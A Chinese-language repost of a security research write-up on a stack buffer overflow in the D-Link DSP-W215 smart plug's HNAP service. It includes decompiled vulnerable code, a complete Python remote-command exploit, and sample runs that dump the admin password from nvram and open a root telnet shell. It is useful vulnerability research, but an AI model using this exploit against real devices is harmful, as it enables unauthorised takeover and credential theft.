作者:
livers
·
2014/05/20 13:19
0x00 背景
D-Link DSP-W215 智慧插座是一款透過無線控制電源開關的插座。現在還不能從亞馬遜和百思買買到,但是韌體可以從D-Link網站下載(真蛋疼)。
DSP-W215存在一個堆疊溢位漏洞,透過該漏洞可以控制整個插座裝置,也能控制插座裝置上其他電器裝置的開關。
0x01 分析
分析插座的韌體:
Lzma 壓縮,linux檔案系統,uimage 核心壓縮映象。
解壓檢查檔案的內容,發現沒有基於web的管理介面,只能用它提供的Android 或者IOS應用進行管理,該應用使用了HNAP(家庭網路管理協議)。
HNAP是基於soap 協議,其req/res如下:
更多檢視http://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf
這個智慧插座用lighttpd輕量級伺服器來實現HNAP協議的傳輸,從lighttpd的配置上看,HNAP請求都傳送到了/www/my_cgi.cgi
進行處理。
#!bash
...
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
"/HNAP1" => "/www/my_cgi.cgi",
...
HNAP雖然是需要進行認證的協議,但是某些行為是不需要的,如獲取裝置資訊設定之類。
HNAP請求資料是由在my_cgi.cgi的do_hnap函式處理。do_hnap會首先處理POST請求中指定的Content-Length頭。
轉換長度(str)為int.
然後,它讀取上述長度位元組的資料放入一個分配了固定大小的棧中。(500,000位元組)
F5轉換成c程式碼為:
#!cpp
int content_length, i;
char *content_length_str;
char post_data_buf[500000];
content_length = 0;
content_length_str = getenv("CONTENT_LENGTH");
if(content_length_str)
{
content_length = strtol(content_length_str, 10);
}
memset(post_data_buf, 0, 500000);
for(i=0; i<content_length; i++)
{
post_data_buf[i] = fgetc();
}
明顯未對content_length進行檢查,可以寫入大於500,000位元組的資料進行溢位,但是棧裡不止包含post_data_buf這個陣列,所以需要1,000,020 進行溢位。
#!bash
perl -e 'print "D"x1000020; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/HNAP1/
Arm暫存器真蛋疼。
由於是getc獲取的資料,所以可以傳入空位元組。作者測試自己my_cgi.cgi程式中執行system地址0x00405CAC需要讀入空位元組。
所以 ,只需要把返回地址覆蓋成0x00405CAC,並把棧的偏移28位處加入需要執行的指令程式碼。
0x02 EXP
#!python
import sys
import urllib2
command = sys.argv[1]
buf = "D" * 1000020 # Fill up the stack buffer
buf += "\x00\x40\x5C\xAC" # Overwrite the return address on the stack
buf += "E" * 0x28 # Stack filler
buf += command # Command to execute
buf += "\x00" # NULL terminate the command string
req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
print urllib2.urlopen(req).read()
執行後得到的資料:
#!bash
[email protected]:~$ ./exploit.py 'ls -l /'
drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 bin
drwxrwxr-x 3 1000 1000 4096 May 9 16:04 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 Jan 14 14:16 lib
drwxr-xr-x 3 1000 1000 4096 Jan 14 14:16 libexec
lrwxrwxrwx 1 1000 1000 11 May 9 16:01 linuxrc -> bin/busybox
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 7 1000 1000 4096 May 9 15:44 mnt
drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 9 17:49 root
drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 sbin
drwxrwxr-x 3 1000 1000 4096 May 15 04:27 tmp
drwxrwxr-x 7 1000 1000 4096 Jan 14 14:16 usr
drwxrwxr-x 3 1000 1000 4096 May 9 16:04 var
-rw-r--r-- 1 1000 1000 17 Jan 14 14:16 version
drwxrwxr-x 8 1000 1000 4096 May 9 16:52 www
也可以直接dump配置:
#!bash
[email protected]:~$ ./exploit.py 'nvram show' | grep admin
admin_user_pwd=200416
admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level
admin_level=1
admin_user_name=admin
storage_user_00=0/admin//
或透過開啟telnet得到一個shell
#!bash
[email protected]:~$ ./exploit.py 'busybox telnetd -l /bin/sh'
[email protected]:~$ telnet 192.168.0.60
Trying 192.168.0.60...
Connected to 192.168.0.60.
Escape character is '^]'.
BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
/ #
開啟開關 關閉開關
#!bash
/var/sbin/relay 1 # Turns outlet on
/var/sbin/relay 0 # Turns outlet off
作者還搞了個讓燈閃爍的指令碼:
#!bash
#!/bin/sh
OOK=1
while [ 1 ]
do
/var/bin/relay $OOK
if [ $OOK -eq 1 ]
then
OOK=0
else
OOK=1
fi
done
D-Link’s DIR-505L也存在這個漏洞。
from:http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!